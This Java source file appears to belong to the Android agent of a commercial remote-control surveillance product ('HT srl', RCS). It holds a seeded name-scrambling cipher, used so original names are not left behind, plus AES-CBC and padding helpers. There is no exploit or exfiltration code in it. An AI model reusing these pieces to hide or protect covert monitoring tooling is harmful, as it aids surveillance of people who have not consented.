/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : Encryption.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.crypto; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; import com.android.dvci.util.Utils; // TODO: Auto-generated Javadoc /** * The Class Encryption. */ public class Encryption { /** The Constant TAG. */ private static final String TAG = "Encryption"; //$NON-NLS-1$ /** * Instantiates a new encryption. * * @param key * the key */ public Encryption(final byte[] key) { makeKey(key); } /** * Inits the. */ public static void init() { } /** * Descrambla una stringa, torna il puntatore al nome descramblato. La * stringa ritornata va liberata dal chiamante con una free()!!!! * * @param Name * the name * @param seed * the seed * @return the string */ public static String decryptName(final String Name, final int seed) { return scramble(Name, seed, false); } /** * Scrambla una stringa, torna il puntatore al nome scramblato. La stringa * ritornata va liberata dal chiamante con una free()!!!! * * @param Name * the name * @param seed * the seed * @return the string */ public static String encryptName(final String Name, final int seed) { // if(AutoConfig.DEBUG) Check.log( TAG + " seed : " + seed) ;//$NON-NLS-1$ return scramble(Name, seed, true); } /** * Gets the next multiple. * * @param len * the len * @return the next multiple */ public int getNextMultiple(final int len) { if (Cfg.DEBUG) { Check.requires(len >= 0, "len < 0"); //$NON-NLS-1$ } final int newlen = len + (len % 16 == 0 ? 0 : 16 - len % 16); if (Cfg.DEBUG) { Check.ensures(newlen >= len, "newlen < len"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.ensures(newlen % 16 == 0, "Wrong newlen"); //$NON-NLS-1$ } return newlen; } /** * Questa funzione scrambla/descrambla una stringa e ritorna il puntatore * alla nuova stringa. Il primo parametro e' la stringa da de/scramblare, il * secondo UN byte di seed, il terzo se settato a TRUE scrambla, se settato * a FALSE descrambla. * * @param name * the name * @param seed * the seed * @param enc * the enc * @return the string */ private static String scramble(final String name, int seed, final boolean enc) { final char[] retString = name.toCharArray(); final int len = name.length(); int i, j; final char[] alphabet = { '_', 'B', 'q', 'w', 'H', 'a', 'F', '8', 'T', 'k', 'K', 'D', 'M', 'f', 'O', 'z', 'Q', 'A', 'S', 'x', '4', 'V', 'u', 'X', 'd', 'Z', 'i', 'b', 'U', 'I', 'e', 'y', 'l', 'J', 'W', 'h', 'j', '0', 'm', '5', 'o', '2', 'E', 'r', 'L', 't', '6', 'v', 'G', 'R', 'N', '9', 's', 'Y', '1', 'n', '3', 'P', 'p', 'c', '7', 'g', '-', 'C' }; final int alphabetLen = alphabet.length; if (seed < 0) { seed = -seed; } // Evita di lasciare i nomi originali anche se il byte e' 0 seed = (seed > 0) ? seed %= alphabetLen : seed; if (seed == 0) { seed = 1; } if (Cfg.DEBUG) { Check.asserts(seed > 0, "negative seed"); //$NON-NLS-1$ } for (i = 0; i < len; i++) { for (j = 0; j < alphabetLen; j++) { if (retString[i] == alphabet[j]) { // Se crypt e' TRUE cifra, altrimenti decifra if (enc) { retString[i] = alphabet[(j + seed) % alphabetLen]; } else { retString[i] = alphabet[(j + alphabetLen - seed) % alphabetLen]; } break; } } } return new String(retString); } /** The crypto. */ Crypto crypto; /** * Make key. * * @param key * the key */ public void makeKey(final byte[] key) { try { crypto = new Crypto(key); } catch (final Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(e);//$NON-NLS-1$ } } } /** * Decrypt data. * * @param cyphered * the cyphered * @return the byte[] * @throws CryptoException * the crypto exception */ public byte[] decryptData(final byte[] cyphered) throws CryptoException { return decryptData(cyphered, cyphered.length, 0); } /** * Decrypt data. * * @param cyphered * the cyphered * @param offset * the offset * @return the byte[] * @throws CryptoException * the crypto exception */ public byte[] decryptData(final byte[] cyphered, final int offset) throws CryptoException { return decryptData(cyphered, cyphered.length - offset, offset); } /** * Decrypt data, CBC mode. * * @param cyphered * the cyphered * @param plainlen * the plainlen * @param offset * the offset * @return the byte[] * @throws CryptoException * the crypto exception */ public byte[] decryptData(final byte[] cyphered, final int plainlen, final int offset) throws CryptoException { final int enclen = cyphered.length - offset; if (Cfg.DEBUG) { Check.requires(enclen % 16 == 0, "Wrong padding"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.requires(enclen >= plainlen, "Wrong plainlen"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.requires(crypto != null, "null encryption"); //$NON-NLS-1$ } byte[] plain=null; try { plain = crypto.decrypt(cyphered, plainlen, offset); } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (decryptData) Error: " + e); } } return plain; } /** * Encrypt data. * * @param plain * the plain * @return the byte[] */ public byte[] encryptData(final byte[] plain) { return encryptData(plain, 0, plain.length); } /** * Encrypt data in CBC mode and HT padding. * * @param plain * the plain * @param offset * the offset * @param len * @return the byte[] */ public byte[] encryptData(final byte[] plain, final int offset, int len) { if (Cfg.DEBUG) { Check.asserts(len > 0, " (encryptData) Assert failed, zero len"); } // TODO: optimize, non creare padplain, considerare caso particolare // ultimo blocco final byte[] padplain = pad(plain, offset, len); final int clen = padplain.length; if (Cfg.DEBUG) { Check.asserts(clen % 16 == 0, "Wrong padding"); //$NON-NLS-1$ } byte[] crypted=null; try { crypted = crypto.encrypt(padplain); } catch (Exception e1) { if (Cfg.DEBUG) { Check.log(TAG + " (encryptData) Error: " + e1); } } if (Cfg.DEBUG) { Check.asserts(crypted!=null, " (encryptData) Assert failed, no crypted"); } return crypted; } public byte[] appendData(byte[] plain, int offset, int len, byte[] lastBlock) { final byte[] padplain = pad(plain, offset, len); final int clen = padplain.length; if (Cfg.DEBUG) { Check.asserts(clen % 16 == 0, "Wrong padding"); //$NON-NLS-1$ } byte[] crypted=null; try { crypted = crypto.encrypt(padplain, offset, lastBlock); } catch (Exception e1) { if (Cfg.DEBUG) { Check.log(TAG + " (appendData) Error: " + e1); } } System.arraycopy(crypted, crypted.length - getBlockSize(), lastBlock, 0, getBlockSize()); return crypted; } /** * Old style Pad, PKCS5 is available in EncryptionPKCS5. * * @param plain * the plain * @param offset * the offset * @param len * the len * @return the byte[] */ protected byte[] pad(final byte[] plain, final int offset, final int len) { return pad(plain, offset, len, false); } /** * Pad. * * @param plain * the plain * @param offset * the offset * @param len * the len * @param PKCS5 * the pKC s5 * @return the byte[] */ protected byte[] pad(final byte[] plain, final int offset, final int len, final boolean PKCS5) { final int clen = getNextMultiple(len); if (clen > 0) { final byte[] padplain = new byte[clen]; if (PKCS5) { final int value = clen - len; for (int i = 1; i <= value; i++) { padplain[clen - i] = (byte) value; } } System.arraycopy(plain, offset, padplain, 0, len); return padplain; } else { return plain; } } /** * Xor. * * @param pt * the pt * @param iv * the iv */ void xor(final byte[] pt, final byte[] iv) { if (Cfg.DEBUG) { Check.requires(pt.length == 16, "pt not 16 bytes long"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.requires(iv.length == 16, "iv not 16 bytes long"); //$NON-NLS-1$ } for (int i = 0; i < 16; i++) { pt[i] ^= iv[i]; } } public int getBlockSize() { return 16; } }